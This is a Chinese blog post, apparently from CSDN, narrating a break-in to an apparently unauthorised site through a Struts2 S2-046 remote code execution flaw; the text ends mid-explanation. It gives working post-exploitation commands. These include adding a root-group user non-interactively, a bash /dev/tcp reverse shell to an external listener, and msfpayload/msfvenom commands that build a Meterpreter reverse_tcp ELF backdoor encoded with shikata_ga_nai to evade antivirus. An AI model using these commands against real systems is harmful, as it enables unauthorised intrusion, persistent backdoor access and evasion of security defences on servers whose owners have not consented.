当Struts2遇到防火墙，你的思路够骚吗？

最新推荐文章于 2024-06-08 07:30:31 发布

CanMeng'Blog

最新推荐文章于 2024-06-08 07:30:31 发布

阅读量283

点赞数

文章标签： WEB安全渗透测试网络安全 ctf 防火墙

本文链接：https://blog.csdn.net/weixin_41679427/article/details/97534817

版权

一、背景

偶然碰到一个小站存在st2-046代码远程执行漏洞，心里美滋滋。

执行whoami查看自己是什么权限

已经是root了，就尝试上传一个webshell

但是却提示上传失败，页面不存在

上传txt显示成功

经过测试，服务器装有一些防火墙之类的东西或者是安全策略，只要上传的文件里包含可执行代码就上传失败

但是转念一想我为什么非要传webshell，传上去之后不还是要提权，弄到他的ssh权限。

于是冷静思考了一下目前的形势:

1 root权限
2 可以执行非交互性命令
3 不能上传文件

脑海里一道闪电，蹦出来三个思路

1 直接远程执行命令添加一个用户然后加入root组
2 nc反弹shell 进行交互性命令设置用密钥登陆
3 用神器msf生成一个linux后门，进一步拿下ssh

二、一波操作猛如虎思路一

首先useradd test添加一个名为test的用户

因为不能交互所以无法使用passwd 命令

尝试echo “PASSWORD” | passwd –stdin USERNAME命令

命令执行完成

然后加入root组

usermod -g root test

用id+用户名查看是否添加成功

奈斯

然后就是高高兴兴去连接ssh

结果他一直拒绝我的密码。。。

这是什么操作。。。

得到了你的人得不到你的心吗。。。

当时也不明白为什么会这样

后来百度查了一下

才知道这个命令有时候是有问题的

思路一失败

思路二

既然问题出在加密码的命令上面，我就只要把shell反弹出来然后再使用passwd命令即可

测试了一下目标站不支持其他脚本，也没有nc，就直接用bash转发吧

先打开一台外网windows服务器，开启nc监听

命令为nc.exe –vv –l –p 端口

Linux上bash转发命令如下

bash -i >& /dev/tcp/x.x.x.x/23330>&1

提示执行成功

但是windows服务器上并没有收到任何反弹信息

换端口换反弹方式都失败

用脚趾头想想应该是防火墙的问题

思路二失败。

思路三

前两次均失败，心里很难受了

不过没关系，我们还有神器msf

假设本机ip为192.168.250.162监听端口为8090

用msf生成一个linux的后门命令如下：

（1）对于metasploit 4.2版本，使用msfpayload生成后门程序，使用msfencode对后门进行二次编码防杀。

生成后门并使用msfencode shikata_ga_nai编码程序对后门程序再编码。

命令：

msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=192.168.250.162 LPORT=8090 R |msfencode -t elf -e x86/shikata_ga_nai -c 3 -o /root/test

详解：

使用模块 linux/x86/meterpreter/reverse_tcp 可以实现在32位linux系统上反弹TCP会话
LHOST=192.168.250.162 反弹连接到metasploit攻击主机的IP地址
LPORT=8090 反弹连接到metasploit攻击主机的TCP端口号
-t elf 编码生成的文件类型
-e x86/shikata_ga_nai 使用的编码方式
-c 3 重复封装编码3次
-o /root/test 输出后门文件到/root目录下，文件名test

（2）在较新版本的metasploit中，msfpayload和msfencode已经被取消，功能合并为msfvenom

使用msfvenom创建后门达到相同效果的命令为：

msfvenom -a x86--platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.250.162LPORT=8090 -e x86/shikata_ga_nai -i 3 -felf > /root/test

详解：